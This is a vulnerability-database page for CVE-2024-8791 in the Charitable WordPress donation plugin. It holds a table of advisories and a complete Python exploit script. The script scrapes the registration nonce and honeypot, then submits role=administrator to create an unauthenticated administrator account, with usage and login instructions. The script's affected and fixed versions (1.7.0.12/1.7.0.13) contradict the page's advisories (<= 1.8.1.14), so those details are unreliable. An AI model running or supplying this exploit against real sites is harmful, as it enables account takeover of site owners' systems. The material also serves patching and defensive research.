| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2024-8791 | 24 Sep 202405:42 | – | circl | |
| WordPress plugin Donation Forms by Charitable 安全漏洞 | 23 Sep 202400:00 | – | cnnvd | |
| CVE-2024-8791 | 24 Sep 202402:31 | – | cve | |
| CVE-2024-8791 Donation Forms by Charitable – Donations Plugin & Fundraising Platform for WordPress <= 1.8.1.14 - Insecure Direct Object Reference to Account Takeover and Privilege Escalation | 24 Sep 202402:31 | – | cvelist | |
| EUVD-2024-49421 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-8791 | 24 Sep 202403:15 | – | nvd | |
| WordPress Charitable plugin <= 1.8.1.14 - Insecure Direct Object Reference to Account Takeover and Privilege Escalation vulnerability | 24 Sep 202401:00 | – | patchstack | |
| WordPress Charitable Plugin <= 1.8.1.14 is vulnerable to Privilege Escalation | 24 Sep 202400:00 | – | patchstack | |
| PT-2024-39255 · WordPress · Donation Forms By Charitable | 23 Sep 202400:00 | – | ptsecurity | |
| CVE-2024-8791 | 4 Feb 202522:36 | – | redhatcve |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Charitable <= 1.7.0.12 - Unauthenticated Privilege Escalation to Administrator
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/charitable/
# Software Link: https://downloads.wordpress.org/plugin/charitable.1.7.0.12.zip
# Version: 1.7.0.12 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-8791
"""CVE-2024-8791 — Charitable <= 1.7.0.12 — Unauthenticated Privilege Escalation to Administrator
Blackbox HTTP exploit against a real WordPress + Charitable install with a page containing the
[charitable_registration] shortcode (the documented way to expose front-end registration).
Root cause: the registration handler `Charitable_Registration_Form::save_registration()` builds
its data via `get_submitted_values()`, which starts from the RAW `$_POST`
(abstract-class-charitable-form.php:409 `$submitted = $_POST;`). That array flows into
`Charitable_User::update_core_user()`, which keeps every key that is in `get_core_keys()`
(charitable-user-functions.php includes 'role') and passes it to `wp_insert_user()`:
$core_fields = array_intersect( array_keys($submitted), $this->get_core_keys() ); // 'role' kept
foreach ($core_fields as $field) $values[$field] = $submitted[$field];
$user_id = wp_insert_user($values); // role=administrator honored
So POSTing `role=administrator` to the registration form creates an administrator account.
Gate: a nonce + honeypot, both harvested from the public registration page (so unauth in practice).
(Fixed in 1.7.0.13, which strips the 'role' field before wp_insert_user.)
Usage:
python3 CVE-2024-8791_charitable.py --target http://localhost:8090 --reg-path /register/ \
--user pwnadmin --pass 'Passw0rd!123' --email [email protected]
"""
import argparse, re, sys
import requests
requests.packages.urllib3.disable_warnings()
def field(html, name):
m = re.search(r'name="' + re.escape(name) + r'"\s+value="([^"]*)"', html)
return m.group(1) if m else ""
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--reg-path", default="/register/", help="path of the page with [charitable_registration]")
ap.add_argument("--user", default="pwnadmin")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--email", default="[email protected]")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
url = base + args.reg_path
print(f"[*] Target: {url}")
html = s.get(url, timeout=20).text
nonce = field(html, "_charitable_user_registration_nonce")
action = field(html, "charitable_action") or "save_registration"
form_id = field(html, "charitable_form_id")
referer = field(html, "_wp_http_referer") or args.reg_path
if not nonce:
print("[-] Could not harvest the registration nonce — is [charitable_registration] on this page?")
return 1
# honeypot: the charitable form renders a text input with a random hex NAME (hidden via CSS),
# which bots fill and must be left EMPTY. Its name != the known field names.
known = {"charitable_form_id", "_charitable_user_registration_nonce", "_wp_http_referer",
"charitable_action", "user_email", "user_login", "user_pass", "register"}
honeys = [n for n in re.findall(r'name="([0-9a-f]{8,})"', html) if n not in known]
print(f"[*] Harvested nonce={nonce} action={action} form_id={form_id} honeypot={honeys[:1]}")
data = {
"_charitable_user_registration_nonce": nonce,
"_wp_http_referer": referer,
"charitable_action": action,
"charitable_form_id": form_id,
"user_email": args.email,
"user_login": args.user,
"user_pass": args.pw,
"role": "administrator", # <-- privilege-escalation injection
"register": "Register",
}
for h in honeys[:1]:
data[h] = "" # honeypot must be empty
print(f"[*] Submitting registration with role=administrator (user={args.user})")
r = s.post(url, data=data, timeout=20, allow_redirects=False)
print(f"[*] Response: HTTP {r.status_code}")
print(f"\n[+] Registration submitted. Verify with:")
print(f" wp user get {args.user} --field=roles # expect: administrator")
print(f"[+] Then log in at {base}/wp-login.php as {args.user} / {args.pw}")
return 0
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation